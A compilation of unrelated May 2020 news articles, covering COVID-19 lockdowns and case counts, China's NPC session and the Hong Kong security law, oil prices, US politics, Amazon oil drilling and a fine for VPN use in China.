By the time she was profiled in an enterprising CBC radio doc in 2011, her husband had died, her three kids were grown and Dagg was well into her senior years.

But vindication, however belated, was sweet, reaching a pinnacle when the 2018 movie doc that followed turned her into a full-fledged Canadian hero and her email inbox flooded with accolades from a new generation of 11-year-olds.

When (director Alison Reid) said she wanted to make a movie, I thought Im nobody, why would she do that? recalls Dagg of their first contact.

But she insisted, and we went to Africa together. I was so excited after all my life being told Shut up and do what youre told! and You cant have a job at the university!

The film, which details her groundbreaking exploits and attendant setbacks with, at times, heartbreaking precision, surprised everyone, not the least of which was Daggs own children.

I was like Holy crap! confides Mary. I had no idea mom had done all that stuff.

When you look what the world was like in the 50s, its like Holy crap! Thats when girls were wearing tiny little shoes and big bows in their hair. Forget about going to Africa. Forget about going down the street by yourself!

If theres a lesson here, its that in times of crisis we need people like Anne Innis Dagg  who have suffered setbacks and survived  because they have perspective.

They understand that while staying shuttered in our homes, cut off from human contact, may be unpleasant, its not the end of the world.

They understand, more than anything, the power of perseverance, the importance of survival.

Lets wait and see and do something useful before we all die, she laughs, undeterred by the current COVID lockdown.

I want people to not just do stupid things for their whole life, but make their lives worthwhile.

She pauses knowingly. Just hang in. Its really the only thing you can do.
Ghanas COVID-19 cases continue to rise according to data by the Ghana Health Service (GHS).

Our Manifesto: This is what YEN.com.gh believes in

The latest information from the GHS site indicates that about 217 new coronavirus cases have been recorded in the country, bringing the case count to 6,486.

Kojo Oppong Nkrumah is Ghana's Information Minister. Source: Facebook/KojoOppong

Source: UGC

READ ALSO: Ghana Police Service now a puppet of NPP  NDC

Also 53 more COVID-19 patients have recovered after testing negative, putting the total number of recoveries in Ghana at 1,951.

The death toll still stands at 31.

The Greater Accra Region is still leading the chart with 4,699 cases, followed by the Ashanti and Central Regions with 988 and 287 cases respectively.

Regional breakdown

Greater Accra Region  4,699

Ashanti Region  988

Central Region  287

Western Region  195

Eastern Region  106

Western North Region  57

Volta Region  44

Northern Region  34

Oti Region  26

Upper East Region  26

Upper West Region  21

North East Region  2

Bono Region  1

Savannah Region  0

Ahafo Region  0

Bono East Region  0

READ ALSO: Banking crisis: Ato Essien willing to refund GHC27.5 million to state

YEN.com.gh earlier reported that General Secretary of the opposition National Democratic Congress (NDC), Johnson Asiedu Nketia, has described the Akufo-Addo led administration as worse than a military era.

According to the NDCs general secretary, the current democratic dispensation under the leadership of President Akufo-Addo can plunge Ghana into chaos.

695 test positive at fish-processing factory in Tema | #Yencomgh

READ ALSO: Queen mother allegedly rejects Akufo-Addos 62 sheep to settle a dispute

Your stories and photos are always welcome. Get interactive via our Facebook page.

Source: YEN.com.gh
LEWISBURG  The Lewisburg Federal Penitentiary has been on lockdown since May 12 while staff searches the personal belongings of the approximately 900 inmates transferred from a tornado-damaged prison in South Carolina.

Staff is working diligently to search and inventory the personal belongings of inmates from the Estill medium-security prison, Bureau of Prisons (BOP) spokesman Emery Nelson said Thursday.

An April 13 tornado extensively damaged the South Carolina prison and knocked out power, forcing the BOP to move the inmates quickly without their personal belongings.

The Lewisburg inmate population literally overnight went from 179 to more than 1,100. Its current inmate population is 1,406 with 301 in a minimum-security camp outside the wall.

Property of the Estill inmates was transferred to Lewisburg in two tractor-trailer trucks, Nelson said.

While the prisoners have been without their personal belongings, they have been provided all necessities including clothing, medicine, hygiene items and writing material, he said.

They also may purchase items from the commissary. Jodi Renfro, the mother of one of the Estill prisoners, told PennLive she had to send her son money to buy warmer clothes during a recent cold snap.

The BOP will not say how long the lockdown will last but Renfro said her son and others were told they will not receive their stuff until June.

Lewisburg, commonly known as the Big House, is being transitioned from a maximum to a medium-security prison with the addition of telephone banks, televisions and computer stations.

Medium-security prisoners have freedom of movement unless confined for disciplinary reasons.

At Estill, engineers continue to do damage assessments and design repairs, Nelson said. Cleanup continues and repairs to roofs are underway, he said.

No buildings were destroyed but the BOP will not say how long repairs are expected to take.

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Some officials discussed simply releasing the revamped CDC guidelines without fanfare, but Trump decided to do an event so he could get public credit for fighting for churches, said two administration officials who spoke on the condition of anonymity to discuss policy decisions. On Tuesday, administration officials had said there were no plans to issue guidance for religious institutions because some officials in the White House and on the coronavirus task force did not want to alienate the evangelical community and believed that some of the proposals, such as limits on hymnals, the size of choirs or the passing of collection plates, were too restrictive.
Former Vice President Joe Biden condemned the pro-Palestinian boycott, divestment and sanctions (BDS) movement in a new policy page posted on his campaign website.

The page, titled Joe Biden and the Jewish community, vows that the presumptive Democratic nominee will firmly reject the BDS movement, which singles out Israel  home to millions of Jews  and too often veers into anti-Semitism, while letting Palestinians off the hook for their choices.

While much of the page details Bidens plan to combat the rapid rise of anti-Semitism within the United States, a significant portion of it also details the candidates Israel policy.

Why it matters: While only two US lawmakers actually support BDS, the movement has nonetheless become a heated issue on Capitol Hill in recent years. The American Israel Public Affairs Committee (AIPAC) and other pro-Israel groups have lobbied Congress to pass several bills cracking down on BDS, many Democrats have raised objections to the legislation over constitutional free speech concerns. Bidens website does not detail his position on the anti-BDS legislation.

The site also notes that Biden would urge Arab states to move beyond quiet talks and take bolder steps toward normalization with Israel and further expand scientific collaborations with the close US ally. It also reiterates his pledges to maintain existing military aid to Israel while restoring Palestinian economic aid so long as it remains subject to existing restrictions within US law.

Whats next: The Senate included one anti-BDS bill, the Combating BDS Act, as part of a Middle East legislative package it passed 77-23 last year. The Democratic-controlled House has not advanced the legislation or any other anti-BDS bill.

Know more: Congressional Correspondent Bryant Harris details how increased Democratic opposition to anti-BDS legislation over free speech concerns forced AIPAC to water down its lobby asks last year.
HURON COUNTY  For many weeks the showrooms of automotive dealerships were shuttered because of the coronavirus pandemic and executive orders from the governor, but recent actions now allow business to resume.

Gov. Gretchen Whitmer, following the MI Safe Start Plan, rescinded the previous executive order May 26, that limited dealerships to only performing automotive repair and maintenance, which allows dealerships to operate in full capacity with come caveats.

The data shows that Michigan is ready to phase in these sectors of our economy, but we must stay vigilant and ensure were doing everything we can to protect ourselves and our families from the spread of COVID-19, Whitmer said in a press release.

Area auto dealers were more than ready to serve the community again. They know the associated risks and wish to remain as safe as possible to ensure the safety of customers and employees.

We are excited for Whitmers latest announcement of reopening car dealerships to working by appointment, said new and used sales and leasing consultant for Ordus Ford Brad Janks. We have been and will continue operating a strict disinfectant routine to keep our customers and employees safe.

The Ordus crew believes this to be a positive step for the auto industry.

Flannery Auto Mall Chevrolet Buick GMC has opened its doors as well. Nick Flannery said his sales dropped significantly while the executive order was in effect, but he thanked the community and loyal customers for keeping the business afloat.

People will be allowed to test drive vehicles and can come inside for sales related inquiries, just as before. Flannery said employees will be responsible for wiping down and disinfecting the inside of the building, including their office spaces. Vehicles will be disinfected before and after use.

Customers have the option to order online and have a vehicle delivered right to their driveways. Curbside service is also an option, enabling people to conduct the business they need right from their current vehicle.

Ordus encourages customers to call 989-269-8472 or visit its website at www.ordus.com.

Flannery Auto Mall may be reached at 989-269-6401 and its website is www.flanneryautomall.com.
Coronavirus lockdowns have failed to alter the course of the pandemic but have instead 'destroyed millions of livelihoods', a JP Morgan study has claimed.

Falling infection rates since lockdowns were lifted suggest that the virus 'likely has its own dynamics' which are 'unrelated to often inconsistent lockdown measures', a report published by the financial services giant said.

Denmark is among the countries which has seen its R rate continue to fall after schools and shopping malls re-opened, while Germany's rate has mostly remained below 1.0 after the lockdown was eased.

The report also shows many US states including Alabama, Wisconsin and Colorado enjoying lower R rates after lockdown measures were lifted.

Author Marko Kolanovic, a trained physicist and a strategist for JP Morgan, said governments had been spooked by 'flawed scientific papers' into imposing lockdowns which were 'inefficient or late' and had little effect.

'Unlike rigorous testing of new drugs, lockdowns were administered with little consideration that they might not only cause economic devastation but potentially more deaths than Covid-19 itself,' he claimed.

This graph published in a JP Morgan report shows that many countries saw their infection rates fall rather than rise again when they ended their lockdowns - suggesting that the virus may have its own 'dynamics' which are 'unrelated' to the emergency measures

A second graph shows a similar effect in the US, showing that many states saw a lower rate of transmission (R) after full-scale lockdowns were ended

The JP Morgan report includes graphs showing that 'the vast majority of countries had decreased infection rates' after lockdowns were lifted.

Infection rates have continued to decline even once a lag period for new infections to become visible is factored in, the report says.

A second graph shows a similar effect in the US, showing that many states saw a lower rate of transmission (R) after full-scale lockdowns were ended.

They included Colorado, Iowa, Alabama, Wyoming, Wisconsin and Mississippi, according to the chart, although not all states are included.

Nevada and North Dakota are among the exceptions which appear to have had a higher rate of transmission since normal life began to resume.

The R rate shows how many people each virus patient typically infects, and some countries regard a rate below 1.0 as a key indicator that the epidemic is in retreat.

'While we often hear that lockdowns are driven by scientific models, and that there is an exact relationship between the level of economic activity and the spread of [the] virus - this is not supported by the data,' the report says.

'Indeed, virtually everywhere infection rates have declined after re-opening even after allowing for an appropriate measurement lag.

'This means that the pandemic and Covid-19 likely have [their] own dynamics unrelated to often inconsistent lockdown measures that were being implemented.'

Those dynamics may be influenced by increased hand-washing and even weather patterns but seemingly not by full-scale lockdowns, the report suggests.

'The fact that re-opening did not change the course of the pandemic is consistent with studies showing that initiation of full lockdowns did not alter the course of the pandemic either,' it says.

An Oxford University professor has previously suggested that the crisis in Britain began falling from its peak before Boris Johnson ordered a lockdown on March 23.

Professor Carl Heneghan said last month that the peak of new cases had come on April 8, suggesting a peak of infection three weeks earlier around March 18.

The JP Morgan analysis linked the decision to impose lockdowns to 'flawed scientific papers' predicting millions of deaths in the West.

'This on its own was odd, given that in China there were only several thousand deaths, and the mortality rate outside of Wuhan was very low,' it says.

'In the absence of conclusive data, these lockdowns were justified initially. Nonetheless, many of these efforts were inefficient or late.'

All 50 US states have at least partially reopened this week by relaxing restrictions on businesses and social distancing in varying degrees across the country

In some European countries, studies suggest that the measures 'did not produce any change in pandemic parameters' such as the R rate, the JP Morgan report says.

Kolanovic says that lockdowns had remained in place even as 'our knowledge of the virus and lack of effectiveness of total lockdowns evolved'.

'At the same time, millions of livelihoods were being destroyed by these lockdowns,' he writes.

Countries in lockdown are having to blow huge holes in their budgets to counter the economic standstill which is forcing millions of people into unemployment.

The report also cites 'worrying populism' as an obstacle to re-opening the economy, for example in the US where senators passed an anti-China measure this week.

It warns that economic activity in the US is 'now largely following partisan lines' as Republican and Democratic governors adopt different strategies for their states.

As well as casting doubt on the wisdom of imposing lockdowns in the first place, the report suggests that economies could now be re-opened more quickly.

Denmark is among the countries which has started re-opening its economy without seeing a new surge in virus cases.

Zoos, museums and cinemas have re-opened early in Denmark with many children now back at school after scientists said the R rate had continued to fall.

Germany has also been confident enough to scale back the lockdown after the R rate mostly stayed below 1.0 following an initial lifting of restrictions.

However, chancellor Angela Merkel has repeatedly urged caution and warned that a second wave of virus cases could leave hospitals overwhelmed.

The UK government has similarly warned that some restrictions could be re-imposed if there is a 'sudden and concerning' rise in new cases.

Between May 12 and May 19, in a rolling seven day average, Britain saw 5.75 deaths per million inhabitants. In Sweden the figure was 6.25 deaths per million, higher than the United States (4.17), France (3.49), Italy (3.0), Spain (2.95) and Germany (0.81)

Apocalyptic predictions from the Bank and England and others show the UK is on track for the worst recession in 300 years, when the Great Frost swept Europe

The World Health Organisation has urged 'extreme vigilance' about lifing lockdowns, saying there is 'always the risk that the virus takes off again'.

WHO chief Tedros Adhanom Ghebreyesus said that some countries such as Germany and South Korea had systems in place to respond to a new surge.

However, Britain's efforts to set up a tracking and tracing system have been hampered by delays in rolling out the necessary app.

Tedros said that a 'comprehensive package of measures' is needed until a vaccine becomes available, which is likely to be many months away at least.

It is not yet fully clear how many people have been infected or to what extent they are now immune, but most people remain susceptible.

Some vaccine projects have already begun testing humans, including at Oxford University.

Up to 1,102 participants have been recruited across multiple study sites in Oxford, Southampton, London and Bristol, although results are not expected for weeks.

Imperial College London is also progressing with its vaccine candidate and will look to move into clinical trials by mid-June, with larger scale trials in October.

However, experts and politicians warn there is no guarantee that an effective vaccine will ever be developed.

Even if it is, there are concerns about how it will be distributed in large enough quantities to bring the pandemic to a standstill.
Indigenous leaders are calling for help to stop oil companies drilling in the headwaters of the Amazon river in the wake of the coronavirus pandemic, warning that encroaching on their homelands would destroy a bulwark against climate change.

In video shared with Reuters on International Day for Biological Diversity on Friday, communities in Peru and Ecuador said pressure to exploit their territory would intensify as governments seek to reboot economies reeling from the virus.

"We have taken care of the rainforest all our lives and now we invite everyone to share in our vision," Domingo Peas, a leader from Ecuador's Achuar nation, told Reuters Television. "We need to find a new route, post-oil, for economic development, for the well-being of all humanity, not just indigenous people."

The Achuar are among 20 indigenous nationalities representing almost 500,000 people living in a swathe of rainforest straddling the Peru-Ecuador border, often referred to as the Amazon Sacred Headwaters.

Existing and proposed oil and gas blocks cover 280,000 square miles in the region, an area larger than Texas, according to a report published in December by international advocacy groups including Amazon Watch and Stand.earth.

Oil is currently being extracted from 7% of these blocks. Ecuador and Peru have plans to exploit at least an additional 40%, including in forests teeming with wildlife, such as Ecuador's Yasuni National Park, the groups say.

Home to jaguars, pink river dolphins, anacondas, howler monkeys and thousands of other species, the region, in many areas barely touched by the modern world, is seen as integral to the wider health of the Amazon, the world's largest rainforest.

Scientists fear that the ecosystem has now been cleared so extensively to grow soy and other export crops that it could flip from being a net absorber of carbon dioxide into a major emitter of the greenhouse gas.

With massive fires last year underscoring rampant deforestation in Brazil, preserving pristine forest in remote parts of Peru and Ecuador offers a unique opportunity to nurture the resilience of the wider biome, indigenous leaders say.

"Caring for the forests of the Amazon, is caring for your life and future generations," said Rosa Cerda, vice president of the Confederation of Indigenous Nationalities of the Ecuadorian Amazon.

Although communities in Ecuador and Peru have had some success in using lawsuits to block new exploration, past oil and mining projects suggest that carving new roads through trackless landscapes can trigger rapid deforestation. Leaks from pipelines pollute rivers used for drinking water, harming people and wildlife.

A new path?

While industrialized countries are facing calls to adopt climate-friendly "green recoveries" from virus-induced economic slowdowns, indigenous peoples are waging a parallel campaign to persuade Ecuador and Peru to pursue more holistic models.

Nevertheless, communities fear that the pain inflicted by the pandemic may encourage politicians to pursue a massive expansion of the oil industry through state-owned companies that dominate the sector in Ecuador and Peru.

"This is a fundamental danger," said Tuntiak Katan, the vice coordinator of the Amazon Basin Indigenous Organization, and a member of Ecuador's Shuar people. "The economic recovery has to be in line with ecological principles."

The governments of Peru and Ecuador declined to comment.

Belen Paez, executive director of the Fundacion Pachamama advocacy group, urged governments to heed the advice of indigenous leaders, academics and former government officials working to map out a "Green New Deal" for the Amazon.

"Government leaders in Ecuador and Peru and the world must seize this chance and work in partnership with indigenous nationalities to protect this amazing region," Paez said.
Oil fell 5 percent on Friday to around $34 a barrel as tensions rose between the United States and China, and doubts grew about the pace of demand recovery from the coronavirus crisis.

China is set to impose new national security legislation on Hong Kong, prompting a warning from U.S. President Donald Trump. Beijing also failed to set an economic growth target as the pandemic hammers the word's second-largest economy.

Trump said on Thursday that the U.S. will 'react strongly' if China pushes ahead with the plan to crack down on Hong Kong.

West Texas Intermediate (WTI) crude declined by $1.94, or 5.7 percent, to $31.98 at 11.50am GMT. Brent crude dropped $1.72, or 4.8 percent, to $34.34 a barrel, after falling as low as $33.54.

Pump jacks are seen operating near Loco Hills in Eddy County, New Mexico in the Permian Basin last month. Oil prices fell on Friday as expectations of global demand weakened

'Investors are once again having to contend with an intensifying war of words between the U.S. and China,' said Stephen Brennock of broker PVM.

'The coronavirus has nullified a decade of global oil demand growth and the recovery will be slow.'

Beijing's move to take over long-stalled efforts to enact national security legislation in semi-autonomous Hong Kong spooked markets following months of pro-democracy demonstrations last year that at times descended into violence between police and protesters.

The proposed bill is aimed at forbidding secessionist and subversive activity, as well as foreign interference and terrorism. Such proposals are certain to be approved by the largely ceremonial parliament.

Oil has slumped in 2020, with Brent hitting a 21-year low below $16 in April and U.S. crude falling below zero. With fuel use rising and supply cuts starting, Brent has since more than doubled and was on track for a fourth weekly gain.

Pro-democracy protesters hold placards protesting new security legislation that was submitted to China's rubber-stamp on May 22

'The oil market is not out of the woods yet,' said Eugen Weinberg of Commerzbank. 'We regard the latest price rally on the oil market to be excessive.'

The Organization of the Petroleum Exporting Countries and allies, known as OPEC+, are reducing supply by a record 9.7 million barrels per day from May 1 to support the market.

Export figures suggest OPEC+ made a strong start. In a sign of the glut easing, U.S. crude inventories fell last week.

Gasoline demand is rising and some airlines are planning for a return of European travel.

Traders will be keeping an eye on U.S. demand for the Memorial Day weekend, a time when fuel use usually rises.
BEIJING - Chinas No. 2 leader on Friday promised higher spending to revive its pandemic-stricken economy and curb surging job losses but avoided launching a massive stimulus on the scale of the United States or Japan.

Premier Li Keqiang told lawmakers Beijing would set no economic growth target, usually a closely watched feature of government plans, in order to focus on fighting the outbreak. The virus battle has not yet come to an end, Li warned.

Also Friday, legislators took up a proposed national security law for Hong Kong that activists complain might be used to suppress political activity. The Trump administration has warned it might withdraw the former British colonys preferential trade status if the high degree of autonomy promised by the mainland is eroded.

The coronavirus pandemic that prompted China to isolate cities with a total population of 60 million people added to strains for the ruling Communist Party that include anti-government protests in Hong Kong and a tariff war with Washington.

China has reported 83,000 virus cases and 4,634 deaths from the virus. It was the first country to shut down factories, shops and travel to fight the pandemic and the first to reopen in March but it is still struggling to revive activity.

Private sector analysts say as much as 30% of the urban workforce, or as many as 130 million people, have lost their jobs at least temporarily. They say as many as 25 million jobs might be lost for good this year.

Beijing will give local governments 2 trillion yuan ($280 billion) to spend on meeting goals including creating 9 million new jobs, Li said. That is in line with expectations for higher spending but a fraction of the $1 trillion-plus stimulus packages launched or discussed by the United States, Japan and Europe.

These are extraordinary measures for an unusual time, the premier said in the nationally televised speech.

The worlds second-largest economy contracted by 6.8% over a year earlier in the three months ending in March after factories, offices, travel and other businesses were shut down to fight the virus. Forecasters expect little to no growth this year, down from 2019s 6.1%, already a multi-decade low.

The big deficit indicates significant policy support for the domestic recovery, Louis Kuijs of Oxford Economics said in a report.

However, Beijing is reluctant to launch a stimulus that would add to already high Chinese debt and strains on the financial system, Kuijs said.

Li also promised to work with Washington to carry out the truce signed in January in their fight over Beijings technology ambitions and trade surplus. The premier gave no details, but President Donald Trump has threatened to back out of the deal if China fails to buy more American exports.

Strains with Washington have been aggravated by Trumps accusations that Beijing is to blame for the viruss global spread.

Also Friday, the government announced the military budget, the worlds second-biggest after the United States, will rise 6.6% to 1.3 trillion yuan ($178 billion). The military budget excludes some large items including acquisitions of major weapons systems.

This years annual session of the ceremonial National Peoples Congress is being held under intensive anti-disease controls. Officials are holding news conferences by video instead of meeting reporters face to face. Reporters are required to undergo laboratory tests for the virus before being allowed into the press centre.

The proposed Hong Kong security law will authorize the NPC to change the territorys Basic Law, or mini-constitution, to require its government to prevent, stop and punish acts endangering national security, according to Wang Chen, a deputy chairman of the Congresss Standing Committee.

Fridays move appears to have been prompted by anti-government protests in Hong Kong that began in June over a proposed extradition law and have expanded to cover other grievances and demands for more democracy. A similar measure was withdrawn from Hong Kongs legislature in 2003 following massive public protests.

Wang said Beijing had to take action because activities in Hong Kong threatened national security, according to the official Xinhua News Agency. Wang blamed the territorys failure to enact such measures on sabotage and obstruction by external hostile forces and people trying to sow trouble in Hong Kong.

The Trump administration is delaying submission to Congress of a report on Hong Kongs status to see whether the NPC takes steps that further undermine its autonomy, said a spokesman for the U.S. Embassy in Beijing.

Any effort to impose national security legislation that does not reflect the will of the people of Hong Kong would be highly destabilizing, and would be met with strong condemnation from the United States and the international community, the spokesman, Frank Whitaker, said in an email.

Amnesty International complained in a statement that such repressive security regulations are a threat to the rule of law in Hong Kong and an ominous moment for human rights in the city.

Hong Kongs main stock market index tumbled 5.6% on the news. Other Asian markets also declined due to concern about U.S.-Chinese tension but none by such a wide margin.

Li urged officials to make progress in areas including employment, trade, attracting foreign investment, meeting the publics basic living needs and ensuring the stability of industrial supply chains.

Ensuring economic growth is of crucial significance even though Beijing set no official target, Li said. Pressure on employment has risen significantly, he said.

Automakers and other manufacturers say production has rebounded almost to normal levels, but consumer spending, the main engine of economic growth, is weak amid widespread worries about potential job losses.

Forecasters say China is likely to face a W-shaped recovery with a second downturn and millions of politically volatile job losses later in the year due to weak U.S. and European demand for Chinese exports.

The ruling party hopes to achieve longer-term goals including eliminating rural poverty despite virus-related disruptions of efforts to double economic output and incomes from 2010 levels by this year.

We will give priority to stabilizing employment and ensuring peoples livelihood and resolutely win the battle to overcome poverty, the premier said.
Chinese lawmakers started deliberating a draft civil code at the annual session of the national legislature, which opened on Friday.

Wang Chen, vice chairman of the Standing Committee of the National People's Congress (NPC), delivered explanatory remarks on the draft civil code to deputies attending the third session of the 13th NPC.

In addition to general provisions and supplementary provisions, the 1,260-article draft has six parts on property, contracts, personality rights, marriage and family, inheritance and tort liabilities.

The compilation of the civil code is an important component of the plans of the Communist Party of China Central Committee with Comrade Xi Jinping at the core for developing the rule of law, Wang said.

The compilation is of profound significance to advancing law-based governance, promoting high-quality economic development and enhancing public wellbeing, said Wang.

It will further refine China's basic legal system and rules of conduct in the civil and commercial fields, he added.

Once adopted, it will be the first law code of the People's Republic of China and a milestone for China's codification, according to Wang.

The civil code is expected to provide legal guarantees in the form of a complete civil legal system for China to achieve the two centenary goals and realize the Chinese Dream of national rejuvenation.

The decision to compile the civil code was announced in October 2014 at a plenary session of the Communist Party of China Central Committee. The legislative process started in June 2016.

The General Provisions of the Civil Law was adopted in 2017. Starting in August 2018, six draft parts were reviewed in different NPC Standing Committee sessions. In December 2019, a complete draft civil code was unveiled.

The NPC Standing Committee decided in its December session that the draft civil code would be presented to the NPC annual session in 2020 for deliberation.
The US ambassador to the United Nations accused Iran of violating an international arms embargo as part of President Donald Trumps push to persuade the Security Council to extend the restrictions, which are set to expire in October as the first sunset provision under the nuclear deal.

It is vitally important that people understand that they have not followed this embargo, and we have at every turn proof that they are not following it, Ambassador Kelly Craft said in an interview with the conservative Hudson Institute today.

Why it matters: A Defense Intelligence Agency report from last year notes that Iran has routinely violated the 2007 embargo by exporting military equipment across the globe. While a February Congressional Research Service report assesses that the arms embargo has arguably not been effective in curtailing Iranian military exports, it also notes that its ban on selling arms to Iran apparently has been effective.

Whats next: Iran has said that Russia and China are interested in selling it combat aircraft once the embargo expires. For their part, Russia and China have threatened to veto any embargo extension at the United Nations. Should they do so, the Trump administration has threatened to retaliate by activating a mechanism to snap back UN sanctions on Iran that were lifted under the nuclear deal. However, it remains unclear whether the Trump administration has the authority to do so given its 2018 withdrawal from the nuclear accord.

Know more: Bryant Harris lays out how the Trump administration is citing Washingtons status as a participation in the 2015 nuclear deal to justify invoking Iran snapback sanctions at the United Nations if its gambit to extend the arms embargo fails.
Fine For VPN Use Sparks Rare Backlash on Chinese Internet

2020-05-21 -- The fining of a Chinese internet user by authorities in the northern province of Shaanxi for using software to circumvent the Great Firewall has sparked a rare public backlash online.

The Hanbin district police department in Shaanxi's Ankang city said on May 19 that it had fined a local man 500 yuan for scaling the Great Firewall, a complex systems of blocks, filters and human censorship that limits what Chinese users can see online.

China outlawed the use of VPNs (virtual private networks) -- the most common form of circumvention tool -- in 2018, and typically charges those caught using them with "accessing the international internet through illegal channels."

But government-approved bodies and organizations are able to apply for exemption from the ban.

The fining of the man, whose surname is Yang but whose given name was withheld, led to a flurry of online criticism, including from Hu Xijin, editor-in-chief of the nationalistic tabloid Global Times newspaper.

Many comments said the use of a VPN couldn't be illegal, as the Chinese foreign ministry frequently takes to Twitter, which is outside the Great Firewall, to make statements and comments.

Hu posted to the social media platform Weibo this week objecting to the punishment, and that there was nothing illegal about scaling the Great Firewall for information.

He said the law should be administered "flexibly," and that it was necessary in some cases to circumvent internet controls, especially during such "unusual times."

'Just rubbish'

Yang Sen-hong, president of the Taiwan Association for China Human Rights, said Hu's comments were hypocritical and the fine was in breach of the constitution of the People's Republic of China.

"For the Global Times to say that many things need to be dealt with in a flexible manner is just rubbish," Yang said. "There is no flexibility."

"It isn't illegal for anyone, official agencies or anyone else, to browse the internet, whether they use a circumvention tool or not," he said. "Anyone can do it."

Shanghai-based internet user Ma Yalian said the 500 yuan punishment was rather light.

"This is an example of their going easy on the internet right now," Ma said. "Obviously, this policy of partial opening of the internet will also send mixed messages."

"It would have been worse if they had detained him ... which if they use administrative detention they can do for 15, even as long as 30, days," he said.

Ma said the Global Times' objection to the fine likely had to do with the fear that they too could be targeted by "dumb" cops.

"It's a newspaper, so a lot of their employees are going to be scaling the wall. What if [the cops] started going after them?" he said.

The Hanbin police department later deleted the original post about Yang's fine once the controversy blew up online.

Reported by Gao Feng for RFA's Mandarin Service, and by the Cantonese Service. Translated and edited by Luisetta Mudie.

Copyright  1998-2020, RFA. Used with the permission of Radio Free Asia, 2025 M St. NW, Suite 300, Washington DC 20036. For any commercial use of RFA content please send an email to: mahajanr@rfa.org. RFA content May not be used in a manner which would give the appearance of any endorsement of any product or support of any issue or political position. Please read the full text of our Terms of Use.

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If youve paid any attention to the news over the past few days, you might come away with the impression that Michigan is where President Donald Trumps hopes for reelection will rise or fall on November 3.

On Wednesday, the Great Lakes State was one of two he targeted with threats over election officials decision to mail absentee ballot request forms to every resident of that state.

Michigan sends absentee ballot applications to 7.7 million people ahead of Primaries and the General Election. This was done illegally and without authorization by a rogue Secretary of State. I will ask to hold up funding to Michigan if they want to go down this Voter Fraud path! Trump tweeted that afternoon, having been shamed into deleting a previous tweet which falsely claimed that actual ballots had been mailed out.

Its not the first time Trump has made baseless assertions about the integrity of American elections. Since winning the 2016 election, he has made innumerable false claims about voter fraud, including suggesting that more than 3 million voters making up Hillary Clintons popular vote margin of victory had voted illegally, as well as claims about nonexistent Democratic malfeasance during the 2018 midterms (in which the only documented case of absentee ballot fraud was committed by a North Carolina Republican candidate for Congress).

And given Michigans importance as a potential source of electoral votes for former Vice President Joe Biden  Trumps presumptive opponent  its no surprise that hes a bit fixated on it.

After all, Michigan is one of the three states that handed Trump electoral votes that had gone to Democratic candidates for decades, and in doing so delivered the presidency into his hands. Its also one of the states into which his campaign is pouring inordinate amounts of effort and resources, in hopes of keeping enough Michiganders in his corner to equal  or improve  his 10,704 vote margin of victory from four years ago.

Michael McDonald, a University of Florida professor who studies elections, said spurious claims about election results are par for the course for Trump.

This is a pattern that we've seen throughout his presidency where he, even after winning, wanted to throw down on the fact that he had lost the popular vote and made allegations about non-citizens voting that would explain why he had lost the popular vote, McDonald said, though he took care to note that such allegations were of course, completely unfounded.

He added that Trump appears to be engaged in a similar pattern of throwing down on the electoral system, where it may either in the future or afterwards adversely affect him.

While McDonald noted that Trump and Republicans in Congress have little power to push back on election results once they have been certified and the electoral college has met, he suggested that the greater risk to a legitimate election comes not from Republicans in Washington making baseless claims about fraud in Michigan, but from those in a neighboring state with a notoriously gerrymandered legislature: Wisconsin.

The larger threat  is a scenario where a state like Wisconsin is pivotal in the election results and the electoral college, and Biden has won Wisconsin, but the Republican legislature decides to override the results from the election and award the electors to Donald Trump, he said adding that the Supreme Courts majority opinion in Bush v. Gore noted that state legislatures have plenary power to decide how electors are appointed.

If you're looking for a scenario where the results are somehow reversed from a Biden victory by allegations of irregularities in the election, that's probably the scenario you're looking at, he added.

While McDonald posited that Michigan could also play host to such a scenario because of its heavily gerrymandered legislature, he stressed Wisconsin is the most likely candidate for such a power grab because of the lengths Republicans there have gone to stymie Democrats in the past, most recently by forcing voters to cast their ballots in person during the April primary election.

Its also a state where Republicans have made no secret of their belief that voters in cities are illegitimate.

After Wisconsin Republicans maintained their margins in the state legislature even as Democrat Tony Evers defeated then-Governor Scott Walker in 2018, Wisconsin Assembly Speaker Robin Vos defended the gerrymandering that led to the GOPs lopsided majority by suggesting that the states two largest cities  Madison and Milwaukee  dont really represent the will of the people.

If you took Madison and Milwaukee out of the state election formula, we would have a clear majority, he said while speaking to the Milwaukee Journal-Sentinel. We would have all five constitutional officers and we would probably have many more seats in the legislature.

Ruth Ben-Ghiat, a New York University history professor who studies fascism and authoritarian leaders, concurred with McDonalds assessment that Wisconsin Republicans could find reasons to overturn a narrow Biden victory, especially if his margin was based in heavily Democratic cities. She said that the steps Wisconsin Republicans took to strip Evers of a number of powers before he took office are a good indicator of how they might react to a Biden victory.

Today's GOP has a political culture that's quite anti-democratic, so in terms of measures to keep power from Democrats and avoid losing all the gains that they've made under Trump, they will feel the need to do anything possible, she said. If its legal, then it's certainly not out of the realm of possibility because the GOP has gone to extreme lengths for years.

Ben-Ghiat said it would be within the realm of possibility for Wisconsin Republicans to take their cues from Trumps rhetoric and seize on nonsense claims of fraud or the fact that Bidens margins rely heavily on voters in urban centers as an excuse to throw out the results.

There [in the GOP] you have a culture of lawlessness which Trump inculcates and embodies, that makes people who may hesitate to do something like that with a national election feel more empowered. Because what we've learned is that far from punishing wrongdoers, the Trump-era GOP rewards them, pardons them, and legitimizes them, she said. Corruption is like a contagion, it's a cultural shift. And so people who might have hesitated to do those things will perhaps tip over and feel that they can get away with it.

Tom Palzewicz, a Wisconsin Democrat who is running to replace retiring Representative James Sensenbrenner, said his colleagues are taking measures to ensure that should Biden win the Badger State, his margin of victory will be unambiguous.

Governor Evers, he said, is using some federal coronavirus relief funds to ensure that enough equipment exists to count absentee ballots on election night, and the Wisconsin Democratic Party is working to educate and encourage voters to request absentee ballots.

We had a massive campaign in order to make sure people understood how to get a ballot, he explained, adding that the efforts to encourage absentee voting in the April primary worked wonders.

Theyve got a great digital campaign and they're already on top of it, he said of state party officials.

But Palzewicz warned against underestimating Republicans lust for power and the lengths they will go to to protect the Trump presidency.

They have proven over and over again that it is all about party over country, and whatever thing they can do to make sure they can hold on to power  be it through gerrymandering, be it through making people go to the polls on Election Day in the middle of a pandemic, be it striking down the governor's safe at home plan  they will try to find a way, he said.
Healthcare workers at several Central and city government hospitals sported black arm bands on Friday to protest the government's decision to end theneed for their quarantine after COVID-19 duty unless there has been any form of high-risk exposure.

Severalhospitals in the last few days have asked their healthcare workers staying in hotels during the quarantine period to vacate rooms immediately failingwhich the charges paid for their overstay would be deducted from their salaries.

